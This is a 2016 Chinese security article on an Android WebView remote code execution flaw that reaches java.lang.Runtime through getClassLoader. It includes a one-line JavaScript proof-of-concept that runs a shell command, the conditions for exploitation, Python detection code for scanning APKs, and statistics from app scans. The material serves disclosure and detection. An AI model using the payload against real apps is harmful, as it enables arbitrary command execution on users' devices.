频道栏目
首页 > 安全 > 系统安全 > 正文

Android Webview 远程代码执行之getClassLoader

2016-09-03 09:22:54           
收藏   我要投稿

 众所周知,在Android 4.4系统上 Google已经将系统默认的Webkit内核替换成自己的开源项目chromium,并在Issue 213693005(https://codereview.chromium.org/213693005)屏蔽 了webview的object.getClass,android在4.4.4版本上彻底从native层禁止了webview对getClass的调用,从而阻断了一条反射执行命令的道路。但是Context的getClassLoader().loadClass(“java.lang.Runtime”)却是没有被禁止的。

0x1 漏洞原理

同样是webview远程代码执行,原理也是通过反射的方法调用“java.lang.Runtime”来执行命令。不过不能使用getClass,但是可以使用getClassLoader,代码如下:

示例代码
var loader = window.local_obj.getClassLoader();var runtimeClass = loader.loadClass("java.lang.Runtime");var p=runtimeClass.getMethod("getRuntime",null).invoke(null,null).exec(["ls","/etc/hosts","-l"]);
0x2 漏洞限制

addJavascriptInterface绑定的对象必须为context的子类(一般都是activity),因为这样才能调用getClassLoader。

targetSDKversion <17,只有在targetsdk小于17的时候才能调用js对象的任意方法,targetsdk>=17的情况下只能调用加了@JavaScriptInterface注解的方法。

0x3 扫描方法

通过分析整个反编译后的smali文件,搜索addJavascriptInterface方法,如果当前类的父类为Context的子类则判定为有漏洞:代码如下:

扫描代码
if apkinfo['manifest_info'].is_internet:        if int(apkinfo['manifest_info'].target_sdk) <= 16:            rets = search_invokes("Landroid/webkit/WebView;","addJavascriptInterface")            ret_ = []            if len(rets) == 0:                r_rets.update({'risk':0,'result':[{'vul_id':vul_id,'md5':apkinfo['md5']}]})                return r_rets            else:                for r in rets:                    r.update({'vul_id':vul_id})                    r.update({'md5':apkinfo['md5']})                    v_no = r['dst_params'].split(' ')[1][:-1]                    if v_no == 'p0':                        if get_superclass(r['src_class']) in target_superclass:                            if r not in ret_:                                ret_.append(r)

目前APPscan已支持对此新型webview远程代码执行的检测。

\

0x4 市场影响

因为无视google对getClass的屏蔽,所以与android版本无关,只与targetSDK版本有关,在android4.4,5.0,5.1,6.0上均能实现远程代码执行。

\\

通过对APPscan大数据中的13万 app以及手其他数据来源的8万app扫描,得出以下结果:

  Appscan数据 其他来源 App总量 133200 85574 符合条件(targetsdk<17,可上网,非加固) 18087 38179 漏洞数量 203 1144

\       \

相关TAG标签 Android 远程代码
上一篇:老旧版本libupnp库安全风险分析
下一篇:Android安全之WebViewUXSS漏洞
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站